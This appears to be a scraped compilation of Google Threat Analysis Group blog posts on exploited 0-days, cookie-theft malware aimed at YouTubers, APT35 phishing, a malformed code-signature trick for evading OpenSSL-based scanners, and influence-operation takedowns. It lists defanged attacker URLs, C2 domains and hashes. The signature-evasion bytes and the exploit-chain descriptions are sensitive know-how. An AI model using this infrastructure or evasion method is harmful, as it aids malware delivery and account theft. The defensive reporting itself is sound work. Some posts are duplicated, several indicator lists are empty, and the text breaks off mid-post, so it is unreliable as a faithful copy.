Unique URLs serving ​​CVE-2021-33742 Internet Explorer exploit:
http://lioiamcount[.
]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1
http://db-control-uplink[.
]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB
http://kidone[.
]xyz/VvE0yYArmvhyTl/GzV
Word documents with the following classid:
{EAB22AC3-30C1-11CF-A7EB-0000C05BAE0B}
Related infrastructure:
workaj[.
]com
wordzmncount[.
]com
Not all attacks require chaining multiple 0-day exploits to be successful.
A recent example is CVE-​2021-1879 that was discovered by TAG on March 19, 2021, and used by a likely Russian government-backed actor.
(NOTE: This exploit is not connected to the other three we’ve discussed above.)
In this campaign, attackers used LinkedIn Messaging to target government officials from western European countries by sending them malicious links.
If the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next stage payloads.
The campaign targeting iOS devices coincided with campaigns from the same actor targeting users on Windows devices to deliver Cobalt Strike, one of which was previously described by Volexity.
After several validation checks to ensure the device being exploited was a real device, the final payload would be served to exploit CVE-​2021-1879.
This exploit would turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites, including Google, Microsoft, LinkedIn, Facebook and Yahoo and send them via WebSocket to an attacker-controlled IP.
The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.
There was no sandbox escape or implant delivered via this exploit.
The exploit targeted iOS versions 12.4 through 13.7.
This type of attack, described by Amy Burnett in Forget the Sandbox Escape: Abusing Browsers from Code Execution, are mitigated in browsers with Site Isolation enabled such as Chrome or Firefox.
Related IOCs
supportcdn.web[.
]app
vegmobile[.
]com
111.90.146[.
]198
There is not a one-to-one relationship between the number of 0-days being used in-the-wild and the number of 0-days being detected and disclosed as in-the-wild.
The attackers behind 0-day exploits generally want their 0-days to stay hidden and unknown because that’s how they’re most useful.
Based on this, there are multiple factors that could be contributing to the uptick in the number of 0-days that are disclosed as in-the-wild:
Increase in detection & disclosure
This year, Apple began annotating vulnerabilities in their security bulletins to include notes if there is reason to believe that a vulnerability may be exploited in-the-wild and Google added these annotations to their Android bulletins.
When vendors don’t include these annotations, the only way the public can learn of the in-the-wild exploitation is if the researcher or group who knows of the exploitation publishes the information themselves.
In addition to beginning to disclose when 0-days are believed to be exploited in-the-wild, it wouldn’t be surprising if there are more 0-day detection efforts, and successes, occurring as a result.
It’s also possible that more people are focusing on discovering 0-days in-the-wild and/or reporting the 0-days that they found in the wild.
Increased Utilization
There is also the possibility that attackers are using more 0-day exploits.
There are a few reasons why this is likely:
Over the last decade, we believe there has been an increase in attackers using 0-day exploits.
Attackers needing more 0-day exploits to maintain their capabilities is a good thing — and it  reflects increased cost to the attackers from security measures that close known vulnerabilities.
However, the increasing demand for these capabilities and the ecosystem that supplies them is more of a challenge.
0-day capabilities used to be only the tools of select nation states who had the technical expertise to find 0-day vulnerabilities, develop them into exploits, and then strategically operationalize their use.
In the mid-to-late 2010s, more private companies have joined the marketplace selling these 0-day capabilities.
No longer do groups need to have the technical expertise, now they just need resources.
Three of the four 0-days that TAG has discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.
Meanwhile, improvements in detection and a growing culture of disclosure likely contribute to the significant uptick in 0-days detected in 2021 compared to 2020, but reflect more positive trends.
Those of us working on protecting users from 0-day attacks have long suspected that overall, the industry detects only a small percentage of the 0-days actually being used.
Increasing our detection of 0-day exploits is a good thing — it allows us to get those vulnerabilities fixed and protect users, and gives us a fuller picture of the exploitation that is actually happening so we can make more informed decisions on how to prevent and fight it.
We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by the Apple, Google, and Microsoft teams.
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
So far in 2021, we’ve sent over 50,000 warnings, a nearly 33% increase from this time in 2020.
This spike is largely due to blocking an unusually large campaign from a Russian actor known as APT28 or Fancy Bear.
We intentionally send these warnings in batches to all users who may be at risk, rather than at the moment we detect the threat itself, so that attackers cannot track our defense strategies.
On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
This means that there is typically more than one threat actor behind the warnings.
In this blog, we explore some of the most notable campaigns we’ve disrupted this year from a different government-backed attacker: APT35, an Iranian group, which regularly conducts phishing campaigns targeting high risk users.
This is the one of the groups we disrupted during the 2020 US election cycle for its targeting of campaign staffers.
For years, this group has hijacked accounts, deployed malware, and used novel techniques to conduct espionage aligned with the interests of the Iranian government.
In early 2021, APT35 compromised a website affiliated with a UK university to host a phishing kit.
Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.
Users were instructed to activate an invitation to a (fake) webinar by logging in.
The phishing kit will also ask for second-factor authentication codes sent to devices.
APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.
Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.
In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.
The app was disguised as VPN software that, if installed, could steal sensitive information such as call logs, text messages, contacts, and location data from devices.
Google detected the app quickly and removed it from the Play Store before any users had a chance to install it.
Although Play Store users were protected, we are highlighting the app here as TAG has seen APT35 attempt to distribute this spyware on other platforms as recently as July 2021.
One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.
Attackers used the Munich Security and the Think-20 (T20) Italy conferences as lures in non-malicious first contact email messages to get users to respond.
When they did, attackers sent them phishing links in follow-on correspondence.
Targets typically had to navigate through at least one redirect before landing on a phishing domain.
Link shorteners and click trackers are heavily used for this purpose, and are oftentimes embedded within PDF files.
We’ve disrupted attacks using Google Drive, App Scripts, and Sites pages in these campaigns as APT35 tries to get around our defenses.
Services from Dropbox and Microsoft are also abused.
One of APT35’s novel techniques involves using Telegram for operator notifications.
The attackers embed javascript into phishing pages that notify them when the page has been loaded.
To send the notification, they use the Telegram API sendMessage function, which lets anyone use a Telegram bot to send a message to a public channel.
The attackers use this function to relay device-based data to the channel, so they can see details such as the IP, useragent, and locales of visitors to their phishing sites in real-time.
We reported the bot to Telegram and they have taken action to remove it.
We warn users when we suspect a government-backed threat like APT35 is targeting them.
Thousands of these warnings are sent every month, even in cases where the corresponding attack is blocked.
If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.
Workspace administrators are also notified regarding targeted accounts in their domain.
Users are encouraged to take these warnings seriously and consider enrolling in the Advanced Protection Program or enabling two-factor authentication if they haven't already.
We also block malicious domains using Google Safe Browsing – a service that Google's security team built to identify unsafe websites across the web and notify users and website owners of potential harm.
When a user of a Safe Browsing-enabled browser or app attempts to access unsafe content on the web, they’ll see a warning page explaining that the content they’re trying to access may be harmful.
When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.
Threat Analysis Group will continue to identify bad actors and share relevant information with others in the industry, with the goal of bringing awareness to these issues, protecting you and fighting bad actors to prevent future attacks.
Indicators from APT28 phishing campaign:
service-reset-password-moderate-digital.rf[.
]gd
reset-service-identity-mail.42web[.
]io
digital-email-software.great-site[.
]net
Indicators from APT35 campaigns:
Abused Google Properties:
https://sites.google[.
]com/view/ty85yt8tg8-download-rtih4ithr/
https://sites.google[.
]com/view/user-id-568245/
https://sites.google[.
]com/view/hhbejfdwdhwuhscbsb-xscvhdvbc/
Abused Dropbox Properties:
https://www.dropbox[.
]com/s/68y4vpfu8pc3imf/Iraq&Jewish.pdf
Phishing Domains:
nco2[.
]live
summit-files[.
]com
filetransfer[.
]club
continuetogo[.
]me
accessverification[.
]online
customers-verification-identifier[.
]site
service-activity-session[.
]online
identifier-service-review[.
]site
recovery-activity-identification[.
]site
review-session-confirmation[.
]site
recovery-service-activity[.
]site
verify-service-activity[.
]site
service-manager-notifications[.
]info
Android App:
https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection
Android App C2:
communication-shield[.
]site
cdsa[.
]xyz
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Understanding the techniques used by attackers helps us counter these threats effectively.
This blog post is intended to highlight a new evasion technique we identified, which is currently being used by a financially motivated threat actor to avoid detection.
Attackers often rely on varying behaviors between different systems to gain access.
For instance, attacker’s may bypass filtering by convincing a mail gateway that a document is benign so the computer treats it as an executable program.
In the case of the attack outlined below, we see that attackers created malformed code signatures that are treated as valid by Windows but are not able to be decoded or checked by OpenSSL code — which is used in a number of security scanning products.
We believe this is a technique the attacker is using to evade detection rules.
Code signatures on Windows executables provide guarantees about the integrity of a signed executable, as well as information about the identity of the signer.
Attackers who are able to obscure their identity in signatures without affecting the integrity of the signature can avoid detection longer and extend the lifetime of their code-signing certificates to infect more systems.
OpenSUpdater, a known family of unwanted software which violates our policies and is harmful to the user experience, is used to download and install other suspicious programs.
The actor behind OpenSUpdater tries to infect as many users as possible and while they do not have specific targeting, most targets appear to be within the United States and prone to downloading game cracks and grey-area software.
Groups of OpenSUpdater samples are often signed with the same code-signing certificate, obtained from a legitimate certificate authority.
Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.
In these new samples, the signature was edited such that an End of Content (EOC) marker replaced a NULL tag for the 'parameters' element of the SignatureAlgorithm signing the leaf X.509 certificate.
EOC markers terminate indefinite-length encodings, but in this case an EOC is used within a definite-length encoding (l= 13).
Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00
Decodes to the following elements:
SEQUENCE (2 elem)
OBJECT IDENTIFIER 1.2.840.113549.1.1.11 sha256WithRSAEncryption (PKCS #1)
EOC
Security products using OpenSSL to extract signature information will reject this encoding as invalid.
However, to a parser that permits these encodings, the digital signature of the binary will otherwise appear legitimate and valid.
This is the first time TAG has observed actors using this technique to evade detection while preserving a valid digital signature on PE files.
As shown in the following screenshot, the signature is considered to be valid by the Windows operating system.
This issue has been reported to Microsoft.
Since first discovering this activity, OpenSUpdater's authors have tried other variations on invalid encodings to further evade detection.
The following are samples using this evasion:
https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection
New variant:
https://www.virustotal.com/gui/file/5c0ff7b23457078c9d0cbe186f1d05bfd573eb555baa1bf4a45e1b79c8c575db/detection
Our team is working in collaboration with Google Safe Browsing to protect users from downloading and executing this family of unwanted software.
Users are encouraged to only download and install software from reputable and trustworthy sources.
Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.
Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.
The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.
In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.
We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.
With increased detection efforts, we’ve observed attackers shifting away from Gmail to other email providers (mostly email.cz, seznam.cz, post.cz and aol.com).
Moreover, to protect our users, we have referred the below activity to the FBI for further investigation.
In this blog, we share examples of the specific tactics, techniques and procedures (TTPs) used to lure victims, as well as some guidance on how users can further protect themselves.
Cookie Theft, also known as “pass-the-cookie attack,” is a session hijacking technique that enables access to user accounts with session cookies stored in the browser.
While the technique has been around for decades, its resurgence as a top security risk could be due to a wider adoption of multi-factor authentication (MFA) making it difficult to conduct abuse, and shifting attacker focus to social engineering tactics.
Many YouTube creators provide an email address on their channel for business opportunities.
In this case, the attackers sent forged business emails impersonating an existing company requesting a video advertisement collaboration.
The phishing typically started with a customized email introducing the company and its products.
Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.
Around 15,000 actor accounts were identified, most of which were created for this campaign specifically.
The attackers registered various domains associated with forged companies and built multiple websites for malware delivery.
To date, we’ve identified at least 1,011 domains created solely for this purpose.
Some of the websites impersonated legitimate software sites, such as Luminar, Cisco VPN, games on Steam, and some were generated using online templates.
During the pandemic, we also uncovered attackers posing as news providers with a “Covid19 news software.”
In one case, we observed a fake social media page copying content from an existing software company.
The following screenshot is an example of a fake page where the original URL is replaced with one leading to a cookie theft malware download.
Because Google actively detects and disrupts phishing links sent via Gmail, the actors were observed driving targets to messaging apps like WhatsApp, Telegram or Discord.
Once the target runs the fake software, a cookie stealing malware executes, taking browser cookies from the victim’s machine and uploading them to the actor's command & control servers.
Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.
This is because if the malicious file is not detected when executed, there are less artifacts on an infected host and therefore security products fail to notify the user of a past compromise.
We have observed that actors use various types of malware based on personal preference, most of which are easily available on Github.
Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google’s naming), and Kantal (Google’s naming) which shares code similarity with Vidar.
Open source malware like Sorano and AdamantiumThief were also observed.
Related hashes are listed in the Technical Details section, at the end of this report.
Most of the observed malware was capable of stealing both user passwords and cookies.
Some of the samples employed several anti-sandboxing techniques including enlarged files, encrypted archive and download IP cloaking.
A few were observed displaying a fake error message requiring user click-through to continue execution.
A large number of hijacked channels were rebranded for cryptocurrency scam live-streaming.
The channel name, profile picture and content were all replaced with cryptocurrency branding to impersonate large tech or cryptocurrency exchange firms.
The attacker live-streamed videos promising cryptocurrency giveaways in exchange for an initial contribution.
On account-trading markets, hijacked channels ranged from $3 USD to $4,000 USD depending on the number of subscribers.
These campaigns were carried out by a number of hack-for-hire actors recruited on Russian-speaking forums via the following job description, offering two types of work:
This recruitment model explains the highly customized social engineering, as well as the varied malware types given each actor's choice of preferred malware.
We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.
Some of these improvements include:
It is also important that users remain aware of these types of threats and take appropriate action to further protect themselves.
Our recommendations:
Additional resources: Avoid & Report Phishing Emails.
Related Malware hashes:
Top Phishing Domains:
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.
Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.
We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.
The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.
The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.
The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.
To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.
APP was designed specifically for high-risk accounts.
Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.
Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.
In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.
When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.
We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.
We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).
Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.
Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.
These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.
We’ll also share additional removal actions from April and May in the Q2 Bulletin.
Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.
We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.
This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.
It was last updated on May 27, 2020.
We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.
The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.
We received leads from Graphika that supported us in this investigation.
We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.
This campaign was consistent with similar findings reported by Facebook.
We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.
The campaign was sharing messages in English supportive of Qatar.
This campaign was consistent with similar findings reported by Facebook.
We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.
The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.
This campaign was consistent with similar findings reported by Twitter.
We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.
The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.
This campaign was consistent with similar findings reported by Twitter.
We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.
The domestic campaign was posting pro-Serbian political content.
This campaign was consistent with similar findings reported by Twitter.
Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.
We work across Google products to identify new vulnerabilities and threats.
Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.
One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.
Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.
Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.
The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.
We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.
We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations:
Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.
In fact, we saw a slight decrease in overall volumes in March compared to January and February.
While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.
When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.
To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.
As the world continues to respond to COVID-19, we expect to see new lures and schemes.
Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.
Google’s Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and the people who use our products.
Following our November update, today we’re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.
We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.
In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.
One reason for this decline is that our new protections are working—attackers' efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.
We’ve detected a few emerging trends in recent months.
Upon reviewing phishing attempts since the beginning of this year, we’ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.
For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.
In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign policy expert before sending a malicious attachment in a follow up email.
Government-backed attackers regularly target foreign policy experts for their research, access to the organizations they work with, and connection to fellow researchers or policymakers for subsequent attacks.
Government-backed attackers continue to consistently target geopolitical rivals, government officials, journalists, dissidents and activists.
The chart below details the Russian threat actor group SANDWORM’s targeting efforts (by sector) over the last three years.
In 2019, one in five accounts that received a warning was targeted multiple times by attackers.
If at first the attacker does not succeed, they’ll try again using a different lure, different account, or trying to compromise an associate of their target.
We’ve yet to see people successfully phished if they participate in Google’s Advanced Protection Program (APP), even if they are repeatedly targeted.
APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.
Zero-day vulnerabilities are unknown software flaws.
Until they’re identified and fixed, they can be exploited by attackers.
TAG actively hunts for these types of attacks because they are particularly dangerous and have a high rate of success, although they account for a small number of the overall total.
When we find an attack that takes advantage of  a zero-day vulnerability, we report the vulnerability to the vendor and give them seven days to patch or produce an advisory or we release an advisory ourselves.
We work across all platforms, and in 2019 TAG discovered zero-day vulnerabilities affecting Android, Chrome, iOS, Internet Explorer and Windows.
Most recently, TAG was acknowledged in January 2020 for our contribution in identifying CVE-2020-0674, a remote code execution vulnerability in Internet Explorer.
Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.
Finding this many zero-day exploits from the same actor in a relatively short time frame is rare.
The exploits were delivered via compromised legitimate websites (e.g.
watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.
The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.
For security teams interested in learning more, here are additional details about the exploits and our work in 2019:
The vulnerabilities underlying these exploits included:
Internet Explorer - CVE-2018-8653
Internet Explorer - CVE-2019-0676
Chrome - CVE-2019-5786
Windows Kernel - CVE-2019-0808
Internet Explorer - CVE-2019-1367
Internet Explorer - CVE-2019-1429
The following technical details are associated with the exploits and can be used for teams interested in conducting further research on these attacks:
CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674 are vulnerabilities inside jscript.dll, therefore all exploits enabled IE8 rendering and used JScript.
Compact as JS engine.
In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.
To escape from the Internet Explorer EPM sandbox, exploits used a technique consisting of replaying the same vulnerability inside svchost by abusing Web Proxy Auto-Discovery (WPad) Service.
Attackers abused this technique with CVE-2020-0674 on Firefox to escape the sandbox after exploiting CVE-2019-17026.
CVE-2019-0676 is a variant of CVE-2017-0022, CVE-2016-3298, CVE-2016-0162 and CVE-2016-3351 where the vulnerability resided inside the handling of “res://” URI scheme.
Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered.
The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.
Our Threat Analyst Group will continue to identify bad actors and share relevant information with others in the industry.
Our goal is to bring awareness to these issues to protect you and fight bad actors to prevent future attacks.
In a future update, we’ll provide details on attackers using lures related to COVID-19 and expected behavior we’re observing (all within the normal range of attacker activity).
In January, the Threat Analysis Group documented a hacking campaign, which we were able to attribute to a North Korean government-backed entity, targeting security researchers.
On March 17th, the same actors behind those attacks set up a new website with associated social media profiles for a fake company called “SecuriElite.”
The new website claims the company is an offensive security company located in Turkey that offers pentests, software security assessments and exploits.
Like previous websites we’ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.
In January, targeted researchers reported that the PGP key hosted on the attacker’s blog acted as the lure to visit the site where a browser exploit was waiting to be triggered.
The attacker’s latest batch of social media profiles continue the trend of posing as fellow security researchers interested in exploitation and offensive security.
On LinkedIn, we identified two accounts impersonating recruiters for antivirus and security companies.
We have reported all identified social media profiles to the platforms to allow them to take appropriate action.
At this time, we have not observed the new attacker website serve malicious content, but we have added it to Google Safebrowsing as a precaution.
Following our January blog post, security researchers successfully identified these actors using an Internet Explorer 0-day.
Based on their activity, we continue to believe that these actors are dangerous, and likely have more 0-days.
We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.
Fake Security Company Website:
LinkedIn Profiles:
Email:
Attacker Owned Domains:
On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.
Our team of analysts and security experts is focused on identifying and stopping issues like phishing campaigns, zero-day vulnerabilities and hacking against Google, our products and our users.
Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.
Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.
Generally, 2020 has been dominated by COVID-19.
The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.
Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.
We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.
And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.
As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.
